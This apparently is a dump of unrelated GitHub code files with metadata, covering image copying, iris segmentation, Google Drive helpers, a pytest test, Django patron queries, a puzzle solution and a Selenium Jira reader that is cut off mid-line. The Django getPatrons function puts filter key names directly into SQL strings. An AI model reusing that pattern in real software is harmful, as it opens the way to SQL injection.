id_00000006_01_3_back_TO_id_00000006_01_1_front__fake_image\r\n# id_00000006_01_1_front_TO_id_00000006_01_2_side__a-b-fake_b.png\r\n# fasionMENJacketsVestsid0000016801_1front.jpg_fasionMENJacketsVestsid0000016801_2side.jpg.png\r\n\r\n# id_00001430_01_2_side_TO_id_00001430_01_1_front__a-b-fake_b\r\n# id_00001430/01_2_side.jpg id_00001430/01_1_front.jpg\r\n# id_00000594/04_7_additional.jpg\r\n\r\nsrc_root_path = 'I:/NIPS2018实验结果/Final/gan_L1_feat_vgg_notv_noparsing_afftps_05102228_BK20180729/test_40/images'\r\ndst_root_path = 'I:/NIPS2018实验结果/DSCF_VS_OURS/picked/gan_L1_feat_vgg_notv_noparsing_afftps_05102228_BK20180729/test_40/images'\r\nsrc_root_path = unicode(src_root_path, 'utf-8')\r\ndst_root_path = unicode(dst_root_path, 'utf-8')\r\n\r\nfilename_list = get_filename_list(dst_root_path)\r\nfor filename in filename_list:\r\n if filename.find('dscf') == -1:\r\n a_b_image_filename = filename.replace('fake_image.png', 'a-b-fake_b.png')\r\n\r\n src_path = os.path.join(src_root_path, a_b_image_filename)\r\n dst_path = os.path.join(dst_root_path, a_b_image_filename)\r\n copyfile(src_path, dst_path)\r\n\r\n\r\n# DSCF_root_path = 'I:/NIPS2018实验结果/DSCF_fakeB/generated_images'\r\n# DSCF_root_path = unicode(DSCF_root_path, 'utf-8')\r\n# DSCF_path_list = get_path_list(DSCF_root_path)\r\n#\r\n# for path in DSCF_path_list:\r\n# for filename in filename_list:\r\n# a_b_image_filename = filename.replace('fake_image.png', 'a-b-fake_b.png')\r\n# arr = filename.split('_')\r\n# key1 = arr[1] + arr[2] + '_' + arr[3]\r\n# key2 = arr[7] + arr[8] + '_' + arr[9]\r\n# if path.find(key1) != -1 and path.find(key2) != -1:\r\n# src_path = path\r\n# # newfilename = filename + \"==\"+ os.path.basename(src_path)\r\n# newfilename = filename + \"_dscf_.png\"\r\n# dst_path = os.path.join(dst_root_path, newfilename)\r\n# print src_path\r\n# print dst_path\r\n# copyfile(src_path, dst_path)\r\n\r\n\r\n\r\n","repo_name":"HighlyAuditory/Aug-Soft-Gated","sub_path":"AMT/compare_DSCF_VS_Ours.py","file_name":"compare_DSCF_VS_Ours.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9474415410","text":"import cv2, imutils\nimport numpy as np\n\ndef ROI(img, ratio):\n\n\tif ratio == 1.0: return img\n\n\tres = img.shape\n\tcenter = (res[0]//2, res[1]//2)\n\timg_roi = img[center[0]-int(res[0]*ratio/2):center[0]+int(res[0]*ratio/2), center[1]-int(res[1]*ratio/2):center[1]+int(res[1]*ratio/2)]\n\n\treturn img_roi\n\n\ndef angle2dir(angle_matrix):\n\t# Correction\n\tangle_matrix = (angle_matrix + 180/8) % 360\n\tangle_matrix *= 8/360\n\n\treturn angle_matrix.astype(int)\n\ndef non_max_suppr(amp, angle):\n\tamp_nonmax = np.zeros(amp.shape, dtype = np.uint8)\n\tangle_dir = angle2dir(angle)\n\n\tfor y in range(1, amp_nonmax.shape[0]-1):\n\t\tfor x in range(1, amp_nonmax.shape[1]-1):\n\n\t\t\tif angle_dir[y, x] in (0, 4):\n\t\t\t\tprev_amp = amp[y, x-1]\n\t\t\t\tnext_amp = amp[y, x+1]\n\n\t\t\telif angle_dir[y, x] in (1, 5):\n\t\t\t\tprev_amp = amp[y-1, x-1]\n\t\t\t\tnext_amp = amp[y+1, x+1]\n\n\t\t\telif angle_dir[y, x] in (2, 6):\n\t\t\t\tprev_amp = amp[y-1, x]\n\t\t\t\tnext_amp = amp[y+1, x]\n\n\t\t\telif angle_dir[y, x] in (3, 7):\n\t\t\t\tprev_amp = amp[y+1, x-1]\n\t\t\t\tnext_amp = amp[y-1, x+1]\n\n\n\t\t\tif amp[y, x] >= prev_amp and amp[y, x] >= next_amp:\n\t\t\t\tamp_nonmax[y, x] = amp[y, x]\n\n\treturn amp_nonmax\n\n\ndef amp_threshold(amp, low, high):\n\n\tamp_thresh = np.zeros(amp.shape, dtype = np.uint8)\n\n\tfor y in range(amp.shape[0]):\n\t\tfor x in range(amp.shape[1]):\n\n\t\t\tif amp[y, x] >= high : amp_thresh[y, x] = 255\n\t\t\telif amp[y, x] <= low : amp_thresh[y, x] = 0\n\t\t\telse : amp_thresh[y, x] = 128\n\n\treturn amp_thresh\n\n\ndef scan_strong(amp, y, x, ksize):\n\tstrong = np.where(amp[y-ksize:y+ksize, x-ksize:x+ksize] == 255)\n\treturn len(strong[0]) > 0\n\n\ndef hysteresis(amp, ksize):\n\t# Scan for strong neighbors edges\n\n\trg = (ksize-1)//2\n\n\tamp_1 = amp.copy()\n\t\n\t# coo = np.where(amp_1[rg:amp.shape[0]-rg, rg:amp.shape[1]-rg] == 128)\n\n\t# amp_1[coo] = (255 if scan_strong(amp_1, coo[0], coo[1], rg) else 0)\n\n\n\t#amp_1[ amp_1[rg:amp.shape[0]-rg, rg:amp.shape[1]-rg] == 128 ] = 255\n\n\tfor y in range(rg, amp.shape[0]-rg):\n\t\tfor x in range(rg, amp.shape[1]-rg):\n\n\t\t\tif amp_1[y, x] == 128:\n\t\t\t\tamp_1[y, x] = (255 if scan_strong(amp_1, y, x, rg) else 0)\n\n\tamp_2 = amp.copy()\n\tfor y in range(amp.shape[0]-rg, rg, -1):\n\t\tfor x in range(amp.shape[1]):\n\n\t\t\tif amp_2[y, x] == 128:\n\t\t\t\tamp_2[y, x] = (255 if scan_strong(amp_2, y, x, rg) else 0)\n\n\tamp_3 = amp.copy()\n\tfor y in range(rg, amp.shape[0]-rg):\n\t\tfor x in range(amp.shape[1]-rg, rg, -1):\n\n\t\t\tif amp_3[y, x] == 128:\n\t\t\t\tamp_3[y, x] = (255 if scan_strong(amp_3, y, x, rg) else 0)\n\n\tamp_4 = amp.copy()\n\tfor y in range(amp.shape[0]-rg, rg, -1):\n\t\tfor x in range(amp.shape[1]-rg, rg, -1):\n\n\t\t\tif amp_4[y, x] == 128:\n\t\t\t\tamp_4[y, x] = (255 if scan_strong(amp_4, y, x, rg) else 0)\n\n\n\tfinal_amp = np.clip(amp_1 + amp_2 + amp_3 + amp_4, 0, 255)\n\n\treturn final_amp\n\n\n\ndef weighted_canny(img, ksize, wx, low, high, visualize = True):\n\t\"\"\"\n\timg : grayscale img\n\tksize : gaussian kernel\n\twx : weight % on x sobel\n\tlow : low threshold\n\thigh : high threshold\n\tvisualize = show all steps\n\t\"\"\"\n\n\t#https://www.adeveloperdiary.com/data-science/computer-vision/implement-canny-edge-detector-using-python-from-scratch/\n\t#https://docs.opencv.org/3.4/da/d22/tutorial_py_canny.html\n\t\n\t# Denoising\n\timg_gaus = cv2.GaussianBlur(img, (ksize, ksize), 0)\n\t#img_gaus = cv2.GaussianBlur(img_gaus, (ksize, ksize), 0)\n\n\t# Sobel\n\tgrad_x = np.uint8(np.abs(cv2.Sobel(img_gaus, cv2.CV_64F, 1, 0, ksize)))\n\tgrad_y = np.uint8(np.abs(cv2.Sobel(img_gaus, cv2.CV_64F, 0, 1, ksize)))\n\n\tamp = np.uint8(np.clip(2*np.sqrt((grad_x*wx)**2 + (grad_y*(1-wx))**2), 0, 255))\n\tangle = np.rad2deg(np.arctan2(grad_y, grad_x)) + 180\n\n\n\t# Non Max Suppression\n\tamp_nonmax = non_max_suppr(amp, angle)\n\n\t# 2 level thresholding\n\tamp_thresh = amp_threshold(amp_nonmax, low, high)\n\t\n\t# Hysteresis\n\tamp_hyst = hysteresis(amp_thresh, 7) # odd value ksize\n\t\n\n\tif visualize:\n\t\tcv2.imshow(\"grad_x\", grad_x)\n\t\tcv2.imshow(\"grad_y\", grad_y)\n\n\t\tcv2.imshow(\"amp\", amp)\n\t\tcv2.imshow(\"amp_nonmax\", amp_nonmax)\n\t\tcv2.imshow(\"amp_thresh\", amp_thresh)\n\t\tcv2.imshow(\"amp_hyst\", amp_hyst)\n\n\n\treturn amp_hyst\n\n\ndef test_bound(shape, y, x):\n\t# UNUSED\n\tif y < 0 or y > shape[0] :\n\t\treturn False\n\n\telif x < 0 or y > shape[1] :\n\t\treturn False\n\n\treturn True\n\n\n\ndef hough_circle(edge, accumulator, y, x, rad):\n\t# UNUSED\n\tlist_deg = np.linspace(0, 360, int(2*np.pi*rad))\n\tlist_y = np.clip(np.int32(np.round(np.sin(list_deg) * rad)) + y, 0, edge.shape[0]-1)\n\tlist_x = np.clip(np.int32(np.round(np.cos(list_deg) * rad)) + x, 0, edge.shape[1]-1)\n\n\taccumulator[list_y, list_x] += 1\n\n\ndef hough_circle_cv(edge, accumulator, y, x, rad, color):\n\t# UNUSED\n\tcv2.circle(accumulator, (y, x), rad, color, 1)\n\t\n\n\ndef hough_transform_linear(edge, rho_num=0, theta_num = 360, px_step=2, ratio=4/4, visualize=False):\n\n\tedge_roi = ROI(edge, ratio)\n\tcv2.imshow(\"ROI\", edge_roi)\n\n\tmax_dist = np.sqrt(edge_roi.shape[0]**2 + edge_roi.shape[1]**2)\n\tif rho_num == 0:\n\t\trho_num = int(max_dist)\n\n\trho_res = max_dist/rho_num\n\ttheta_res = 2*np.pi/theta_num\n\n\taccumulator = np.zeros((rho_num*2, theta_num), dtype=np.uint8) # positive & negative rho\n\n\tnz_edges = np.nonzero(edge_roi)\n\n\n\ttheta_index_list = np.arange(0, theta_num)\n\ttheta_list = theta_index_list * theta_res\n\n\t#rho_index_list = np.arange(0, rho_num)\n\n\t\n\tfor i in range(0, len(nz_edges[0]), px_step):\n\n\t\ty = nz_edges[0][i]\n\t\tx = nz_edges[1][i]\n\n\t\trho_list = (x*np.cos(theta_list) + y*np.sin(theta_list))/rho_res\n\t\trho_index_list = rho_list.astype(int) + rho_num\n\n\t\taccumulator[rho_index_list, theta_index_list] += 1\n\n\n\tif visualize:\n\t\tcv2.imshow(\"Accumulator\", accumulator[:rho_num, :]/np.max(accumulator[:rho_num, :]).astype(np.uint8))\n\n\treturn accumulator[rho_num:, :], rho_res, theta_res\n\n\ndef houghline2line(rho_theta_list, img_shape):\n\n\trho_list = rho_theta_list[:, 0]\n\ttheta_list = rho_theta_list[:, 1]\n\n\ta = np.cos(theta_list)/np.sin(theta_list)\n\tb = rho_list/np.sin(theta_list)\n\n\n\n\tpt1_x = rho_list*np.cos(theta_list) + rho_list*np.sin(theta_list)*np.tan(theta_list)\n\tpt2_y = rho_list/np.sin(theta_list)\n\n\tprint(a, b)\n\n\ndef hough_transform_circle(edge, rad_min=10, rad_max=200, rad_step=3, px_step=2, ratio=4/4):\n\n\tedge_roi = ROI(edge, ratio)\n\t# cv2.imshow(\"ROI\", edge_roi)\n\n\tnb_rad = 1+((rad_max - rad_min)//rad_step)\n\n\taccumulator = np.zeros((nb_rad, edge_roi.shape[0]+(2*rad_max), edge_roi.shape[1]+(2*rad_max)), dtype=np.uint32)\n\t#temp = np.zeros(edge_roi.shape, dtype=np.uint8)\n\n\n\tnz_edges = np.nonzero(edge_roi)\n\tprint(\"nz_edges\", len(nz_edges[0]))\n\n\tfor r in range(nb_rad):\n\n\t\trad = rad_min + rad_step*r\n\n\t\tlist_deg = np.arange(0, 360)\n\t\tlist_y = np.int32(np.round(np.sin(list_deg) * rad))\n\t\tlist_x = np.int32(np.round(np.cos(list_deg) * rad))\n\n\t\tfor i in range(0, len(nz_edges[0]), px_step):\n\n\t\t\ty = nz_edges[0][i]\n\t\t\tx = nz_edges[1][i]\n\n\t\t\t# hough_circle_cv(edge, temp, y, x, rad, 1)\n\t\t\t# accumulator += temp\n\t\t\t# hough_circle_cv(edge, temp, y, x, rad, 0)\n\n\t\t\t#accumulator[np.clip(list_y+y, 0, edge_roi.shape[0]-1), np.clip(list_x+x, 0, edge_roi.shape[1]-1)] += 1\n\t\t\taccumulator[r, list_y+y+rad_max, list_x+x+rad_max] += 1\n\n\n\t\tprint(rad)\n\n\n\t#print(accumulator)\n\t#cv2.imshow(\"accumulator\", accumulator/np.max(accumulator))\n\t#max_acc_center = np.argmax(accumulator)\n\n\taccumulator_roi = accumulator[:, rad_max:rad_max+edge_roi.shape[0], rad_max:rad_max+edge_roi.shape[1]]\n\n\treturn accumulator_roi\n\ndef hough_best_lines(accumulator, rho_res, theta_res, edge_shape, threshold=0.8):\n\n\tmax_value = np.max(accumulator)\n\n\tbest_centers_xy = np.argwhere(accumulator > max_value*threshold)\n\tbest_values = accumulator[best_centers_xy[:, 0], best_centers_xy[:, 1]] #accumulator[best_centers_xy]\n\n\tfor bc in best_centers_xy:\n\t\tcv2.circle(accumulator, (bc[1], bc[0]), 3, 255)\n\t\tprint(bc, accumulator[bc[0], bc[1]])\n\n\tprint(best_values)\n\n\tcv2.imshow(\"Accumulator\", accumulator/max_value)\n\n\n\n\t# a = math.cos(best_centers_xy[:, 1])\n\t# b = math.sin(best_centers_xy[:, 1])\n\t# x0 = a * best_centers_xy[:, 0]\n\t# y0 = b * best_centers_xy[:, 0]\n\t# pt1 = (x0 + 1000*(-b)), int(y0 + 1000*(a))\n\t# pt2 = (int(x0 - 1000*(-b)), int(y0 - 1000*(a)))\n\t# cv.line(cdst, pt1, pt2, (0,0,255), 3, cv.LINE_AA)\n\n\n\n\n\tbest_rho_theta = best_centers_xy.copy().astype(float)\n\tbest_rho_theta[:, 0] *= rho_res\n\tbest_rho_theta[:, 1] *= theta_res\n\n\tlines = houghline2line(best_rho_theta, accumulator.shape)\n\n\n\n\t# center_xy = np.unravel_index(np.argmax(accumulator, axis=None), accumulator.shape)\n\t# center_value = accumulator[center_xy[0], center_xy[1]]\n\n\t#print(best_centers_xy, best_values)\n\n\n\n\ndef hough_best_circles(accumulator, region, peak_ratio=2.5):\n\n\tplot_values = []\n\tplot_pnsr = []\n\tcenters = []\n\n\tfor r in range(accumulator.shape[0]):\n\n\t\tcenter_xy = np.unravel_index(np.argmax(accumulator[r, :, :], axis=None), accumulator[r, :, :].shape)\n\n\t\t#noise_region = accumulator[\n\t\t\t\t\t\t\t\t#np.clip(r-region, 0, img_hough.shape[0]) : np.clip(r+region, 0, img_hough.shape[0]),\n\t\t\t\t\t\t\t\t# r,\n\t\t\t\t\t\t\t\t# np.clip(center_xy[0]-region, 0, accumulator.shape[1]) : np.clip(center_xy[0]+region, 0, accumulator.shape[1]),\n\t\t\t\t\t\t\t\t# np.clip(center_xy[1]-region, 0, accumulator.shape[2]) : np.clip(center_xy[1]+region, 0, accumulator.shape[2])\n\t\t\t\t\t\t\t\t# ]\n\n\t\tcenter_value = accumulator[r, center_xy[0], center_xy[1]]\n\n\t\t#noise_value = (np.sum(noise_region)-center_value) / (noise_region.size-1)\n\t\t#psnr = center_value/noise_value\n\n\t\t#print(\"Radius index\", r, \"center\", center_xy, \"value\", center_value, \"psnr\", np.round(psnr, 2), psnr>peak_ratio)\n\n\t\tplot_values.append(center_value)\n\t\t#plot_pnsr.append(psnr*3)\n\t\tcenters.append(center_xy)\n\n\n\t\timg_rad = np.uint8(255*(accumulator[r, :, :]/np.max(accumulator[r, :, :])))\n\n\t\tcv2.circle(img_rad, (center_xy[1], center_xy[0]), 3, 255)\n\n\t\t# cv2.imshow(\"Hough\", img_rad)\n\t\t# cv2.waitKey(1)\n\n\n\treturn plot_values, plot_pnsr, centers\n\n\n\ndef peak_detect(values, lag=10, threshold=3.5, influence=0.1, visualize=False):\n\t# UNUSED\n\n\tresults = thresholding_algo(values, lag=lag, threshold=threshold, influence=influence)\n\n\tpeaks = results[\"signals\"]\n\tavg = results[\"avgFilter\"]\n\tstd = results[\"stdFilter\"]\n\n\tif visualize:\n\t\tplt.plot(range(len(values)), values)\n\t\tplt.plot(range(len(peaks)), peaks)\n\n\t\tplt.plot(range(len(avg)), avg)\n\t\tplt.plot(range(len(avg)), avg + threshold*std)\n\t\tplt.plot(range(len(avg)), avg - threshold*std)\n\n\t\tplt.show()\n\t#plt.plot(range(len(values)), psnr)\n\n\tpeaks = np.transpose(np.argwhere(peaks == 1))[0].tolist()\n\n\tscored_peaks = []\n\tfor peak in peaks:\n\n\t\ttry:\n\t\t\tscore = int(values[peak])-int(values[peak-1]) + int(values[peak])-int(values[peak+1])\n\t\texcept Exception:\n\t\t\tscore = 0\n\n\t\tscored_peaks.append([score, peak+1])\n\n\treturn sorted(scored_peaks, reverse=True)\n\n\n\ndef remove_eyelashes(img):\n\tshape = img.shape\n\tfor i in range(0,shape[0]):\n\t\tfor j in range(0, shape[1]):\n\t\t\tif img[i][j] < 40:\n\t\t\t\timg[i][j]=0\n\tcv2.imshow(\"img removed_eyelashes\",img)\n\ndef remove_light_reflections(img):\n\tshape = img.shape\n\tfor i in range(0,shape[0]):\n\t\tfor j in range(0, shape[1]):\n\t\t\tif img[i][j] > 180:\n\t\t\t\timg[i][j]=0\n\tcv2.imshow(\"img removed_eyelashes\",img)\n\ndef remove_eyelids(img):\n\treturn None\n\n\ndef seg_eye(img_edge, rad_step, rad_iris=(35, 70), roi_ratio=0.8):\n\n\t\"\"\"\n\tDetect iris in rad_iris\n\tDetect pupille in iris roi\n\t\"\"\"\n\n\t# IRIS\n\n\timg_hough_iris = hough_transform_circle(img_edge, rad_min=rad_iris[0], rad_max=rad_iris[1], rad_step=rad_step, px_step=2, ratio=4/4)\n\tvalues, psnr, centers = hough_best_circles(img_hough_iris, 20, 4)\n\t# scored_peaks = peak_detect(values, lag=lag, visualize=True)\n\t# print(\"Scored peaks\", scored_peaks)\n\n\tbest_index = np.argmax(values)\n\tcenter_iris = centers[best_index]\n\tradius_iris = rad_iris[0]+(best_index*rad_step)\n\n\n\t# PUPILLE\n\n\trad_pupille = (10, int(radius_iris*0.8))\n\tiris_edge_roi = img_edge[center_iris[0]-int(radius_iris*roi_ratio):center_iris[0]+int(radius_iris*roi_ratio), center_iris[1]-int(radius_iris*roi_ratio):center_iris[1]+int(radius_iris*roi_ratio)]\n\n\timg_hough_pupille = hough_transform_circle(iris_edge_roi, rad_min=rad_pupille[0], rad_max=rad_pupille[1], rad_step=rad_step, px_step=2, ratio=4/4)\n\t#cv2.waitKey(0)\n\n\tvalues, psnr, centers = hough_best_circles(img_hough_pupille, 20, 4)\n\t#print(values)\n\n\tbest_index = np.argmax(values)\n\tcenter_pupille = (centers[best_index][0] + center_iris[0] - int(radius_iris*roi_ratio), centers[best_index][1] + center_iris[1] - int(radius_iris*roi_ratio))\n\tradius_pupille = rad_pupille[0]+(best_index*rad_step)\n\n\n\n\t#scored_peaks = peak_detect(values, lag=lag, visualize=False)\n\t# print(\"Scored peaks\", scored_peaks)\n\n\n\t# for score, peak in scored_peaks[:1]:\n\t# \tcv2.circle(img, (centers[peak][1], centers[peak][0]), rad_pupille[0]+(peak*rad_step), 255)\n\n\n\treturn center_pupille, radius_pupille, center_iris, radius_iris","repo_name":"Felixned/BiometricSystems","sub_path":"segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":12523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34805104374","text":"from __future__ import print_function\nimport pickle\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom apiclient.http import MediaFileUpload, MediaIoBaseDownload, MediaIoBaseUpload\nimport auth\nimport re\n\n# If modifying these scopes, delete the file token.pickle.\nSCOPES = ['https://www.googleapis.com/auth/drive']\nauthInst = auth.auth(SCOPES)\ncreds = authInst.getCredentials()\nservice = build('drive', 'v3', credentials=creds)\n\ndef listFiles():\n # Call the Drive v3 API\n results = service.files().list(\n pageSize=10, fields=\"nextPageToken, files(id, name)\").execute()\n items = results.get('files', [])\n\n if not items:\n print('No files found.')\n else:\n print('Files:')\n for item in items:\n print(u'{0} ({1})'.format(item['name'], item['id']))\n\ndef createFolder(name):\n file_metadata = {\n 'name': name,\n 'mimeType': 'application/vnd.google-apps.folder'\n }\n file = service.files().create(body=file_metadata,\n fields='id').execute()\n print ('Folder ID: %s' % file.get('id'))\n\ndef copyFileDrive(fileId):\n fileOriginMetaData = service.files().get(fileId=fileId).execute()\n copiedFileMetaData = {'title': fileOriginMetaData}\n copiedFile = service.files().copy(\n fileId=fileId,\n body=copiedFileMetaData\n ).execute()\n return copiedFile\n \ndef copyFileDriveGetLink(fileId):\n fileOriginMetaData = service.files().get(fileId=fileId).execute()\n folderID = \"1939R2jzzBJuEpvUkXM74gig9NoJvMepg\" #Folder mirror Rin Bot\n copiedFileMetaData = {'title': fileOriginMetaData, 'parents': [folderID]}\n copiedFile = service.files().copy(\n fileId=fileId,\n body=copiedFileMetaData\n ).execute()\n user_permission = {\n 'type': 'anyone',\n 'role': 'reader'\n }\n fileIdNew = copiedFile['id']\n service.permissions().create(fileId=fileIdNew,body=user_permission,fields='id').execute()\n fileLink = \"https://drive.google.com/open?id=\" + fileIdNew\n return fileLink\n\ndef uploadFile(filename,filepath,mimetype):\n folderId = \"1939R2jzzBJuEpvUkXM74gig9NoJvMepg\" #Folder mirror Rin Bot\n file_metadata = {'name': filename, 'parents': [folderId]}\n media = MediaIoBaseUpload(filepath, mimetype='image/jpeg',\n chunksize=1024*1024, resumable=True)\n file = service.files().create(body=file_metadata,\n media_body=media,\n fields='id').execute()\n fileId = file['id']\n user_permission = {'type': 'anyone','role': 'reader'}\n service.permissions().create(fileId=fileId,body=user_permission,fields='id').execute()\n fileLink = \"https://drive.google.com/open?id=\" + fileId\n return fileLink\n \ndef extract_files_id(links):\n # copy of google drive file from google drive link :\n links = re.findall(r\"\\b(?:https?:\\/\\/)?(?:drive\\.google\\.com[-_&?=a-zA-Z\\/\\d]+)\", links) # extract google drive links\n try:\n fileIDs = [re.search(r\"(?<=/d/|id=|rs/).+?(?=/|$)\", link)[0] for link in links] # extract the fileIDs\n for fileID in fileIDs:\n if service.files().get(fileId=fileID).execute()['mimeType'] == \"application/vnd.google-apps.folder\":\n fileIDs.extend(extract_file_ids_from_folder(fileID))\n fileIDs.remove(fileID)\n return fileIDs\n except Exception as error:\n textError = \"error : \" + str(error) + \"Link is probably invalid\"\n return textError\n\ndef extract_file_ids_from_folder(folderID):\n files = service.ListFile({'q': \"'\" + folderID + \"' in parents\"}).GetList()\n fileIDs = []\n for file in files :\n fileIDs.append(file['id'])\n return fileIDs\n\ndef getSpaceInfo():\n space = service.about().get().execute()\n return space['quotaBytesUsed']","repo_name":"DirgaBrajamusti/Rin-Line-Chatbot","sub_path":"drive.py","file_name":"drive.py","file_ext":"py","file_size_in_byte":3915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8410176091","text":"import pytest\nfrom app.models.post import Post\n\n\nclass TestModelPost:\n def test_post_is_created(self):\n new_post = Post(id=1, description=\"hello\", priority=2)\n assert type(new_post) == Post\n assert new_post.id == 1\n assert new_post.description == \"hello\"\n assert new_post.priority == 2\n\n def test_post_is_not_created(self):\n with pytest.raises(TypeError):\n bad_post = Post(id=1)\n","repo_name":"bella-cockrell/todo-python-web","sub_path":"todo-flask-app/tests/unit/models/test_post.py","file_name":"test_post.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12668898004","text":"from ..models import Patron, Transaction\nfrom django.db.models.expressions import RawSQL\nfrom django.db import connection\n\ntranslations = {\n \"patron_id\": \"patron_id\",\n \"email\": \"email\",\n \"name\": \"name\",\n \"phone\": \"phone\",\n \"address\": \"address\" \n}\n\ndef getPatronById(patron_id):\n return Patron.objects.raw(\"select * from library_management_api_book join library_management_api_transaction on book_id = bookid where patron_id = %s\", [patron_id])\n\ndef getPatronLastTransaction(patron_id):\n return [p for p in Transaction.objects.raw('SELECT * FROM library_management_api_transaction WHERE patron_id = %s ORDER BY due_date DESC LIMIT 1', [patron_id])][0]\n\ndef getPatrons(filters, exact = False):\n if ('patron_id' in filters):\n return [p for p in Patron.objects.raw('SELECT * FROM library_management_api_patron WHERE patron_id = %s', [filters['patron_id']])]\n query = \"SELECT * FROM library_management_api_patron \"\n params = []\n for i, (key, val) in enumerate(filters.items()):\n query = query + (\"WHERE \" if i == 0 else \"AND \") + key + (\" = %s \" if key == 'phone' else \" LIKE %s \")\n params.append(val if key == 'phone' else '%{val}%'.format(val=val))\n \n query = query + \"LIMIT 100\"\n print(query, params)\n return Patron.objects.raw(query, params, translations)\n","repo_name":"Vinit-Dantkale/Library-management","sub_path":"library_management_api/queries/patrons.py","file_name":"patrons.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37021734141","text":"#Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\packages\\industry\\facility.py\r\nimport industry\r\nimport collections\r\n\r\nclass Facility(industry.Base):\r\n\r\n def __init__(self, facilityID = None, typeID = None, ownerID = None, solarSystemID = None, tax = None, distance = None, modifiers = None, online = True):\r\n self.facilityID = facilityID\r\n self.typeID = typeID\r\n self.ownerID = ownerID\r\n self.solarSystemID = solarSystemID\r\n self.tax = tax\r\n self.distance = distance if distance is not None else None\r\n self.activities = collections.defaultdict(lambda : {'blueprints': set(),\r\n 'categories': set(),\r\n 'groups': set()})\r\n self.modifiers = modifiers or []\r\n self.online = online\r\n\r\n def __repr__(self):\r\n return industry.repr(self, exclude=['activities'])\r\n\r\n def update_activity(self, activityID, blueprints = None, categories = None, groups = None):\r\n self.activities[activityID]['blueprints'].update(blueprints or [])\r\n self.activities[activityID]['categories'].update(categories or [])\r\n self.activities[activityID]['groups'].update(groups or [])\r\n","repo_name":"connoryang/dec-eve-serenity","sub_path":"client/industry/facility.py","file_name":"facility.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"41264714360","text":"def solution(brown, yellow):\n total = brown + yellow\n\n for i in range(total, 2, -1):\n if total % i == 0:\n brown_x = i\n brown_y = total // i\n if yellow == (brown_x - 2) * (brown_y - 2):\n return [brown_x, brown_y]\n\n# def solution(brown, yellow):\n# answer = []\n\n# for i in range(1, yellow + 1):\n# if yellow % i == 0:\n# yellow_x = yellow // i\n# yellow_y = i\n# if (yellow_x * 2) + (yellow_y * 2) + 4 == brown:\n# answer.append(yellow_x + 2)\n# answer.append(yellow_y + 2)\n# break\n# return answer","repo_name":"jungeun919/Programmers","sub_path":"BruteForce/카펫/code1.py","file_name":"code1.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12680085537","text":"# Standard library imports\nimport re\nimport time\n# Third party imports\nimport bs4.element\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom bs4 import BeautifulSoup\n# Local imports\nfrom jira_reader.epic import Epic\n\n\nclass Jira:\n \"\"\"\n Klasa odczytuje dane ze stron Jiry\n\n Klasa zawiera funkcje, które są odpowiedzialne za pobieranie danych ze stron Jiry\n\n Atrybuty:\n ---------\n - brak\n\n Metody:\n -------\n - convert_text_time_to_hours(text_time: str) -> float:\n Zamiana ciągu znaków na godziny\n - login_jira(self, login_page_url: str, user: str, password: str):\n Logowanie do Jiry\n - get_page_content_selenium(self, url: str) -> str:\n Pobranie zawartości strony z Jiry\n - get_page_content(url: str, username: str, password: str):\n Pobranie zawartości strony internetowej\n - get_information_about_task(content: str) -> tuple[float, float, float]:\n Pobranie informacji o jednym tasku z Jiry\n - get_times(cls, tag_list: list[bs4.element.Tag]) -> tuple[float, float, float]:\n Pobranie informacji o sumarycznych czasach w epiku\n - get_epic_budget(cls, tag_list: list[bs4.element.Tag]) -> float:\n obranie informacji o budżecie wskazanego epika\n - get_information_about_epic(self, content: str) -> tuple[str, str, float, float, float, float]:\n Pobranie informacji o epiku z Jiry\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Definicja zmiennych instancji klasy\n \"\"\"\n self._selenium_driver = None\n\n def __del__(self):\n \"\"\"\n Usunięcie webdrivera Selenium\n \"\"\"\n if self._selenium_driver:\n self._selenium_driver.quit()\n\n @staticmethod\n def convert_text_time_to_hours(text_time: str) -> float:\n \"\"\" Zamiana ciągu znaków na godziny\n\n Funkcja zamienia otrzymany ciąg znaków na godziny. Ciąg znaków jest pobierany z Jiry i oprócz liczby zawiera\n oznaczenie dni lub godzin. Ciąg może przyjmować postacie: 'Not specified', '10d 3h', '7h', '5d', 3.5h. Dla\n wartości, które nie posiadają liczby funkcja zwraca 0.\n\n :param text_time: Ciąg znaków zawierający czas\n :type text_time: str\n :return: Ilość godzin ustalona na podstawie ciągu wejściowego\n :rtype: float\n \"\"\"\n if text_time.lower() == 'not specified':\n return 0\n\n time_list_values = text_time.split()\n days = 0\n hours = 0\n for one_time in time_list_values:\n if 'd' in one_time:\n days = float(one_time[0:one_time.find('d')])\n if 'h' in one_time:\n hours = float(one_time[0:one_time.find('h')])\n total_time = days * 8 + hours\n return total_time\n\n def login_jira(self, login_page_url: str, user: str, password: str):\n \"\"\" Logowanie do Jiry\n\n Metoda przeprowadza logowanie do Jiry. Najpierw należy wywołać logowanie do Jiry, a potem można korzystać z\n pozostałych metod tej klasy do pobierania zawartości stron.\n\n :param login_page_url: Adres url strony logowania\n :type login_page_url: str\n :param user: Nazywa użytkownika Jiry\n :type user: str\n :param password: Hasło do Jiry\n :type password: str\n :return: brak\n :rtype: ---\n :exception: PermissionError - błędne dane logowania\n :exception: ConnecionErro - nieprawidłowy URL\n \"\"\"\n driver = webdriver.Chrome()\n driver.maximize_window()\n driver.get(login_page_url)\n if driver.title == \"Log in - Jira 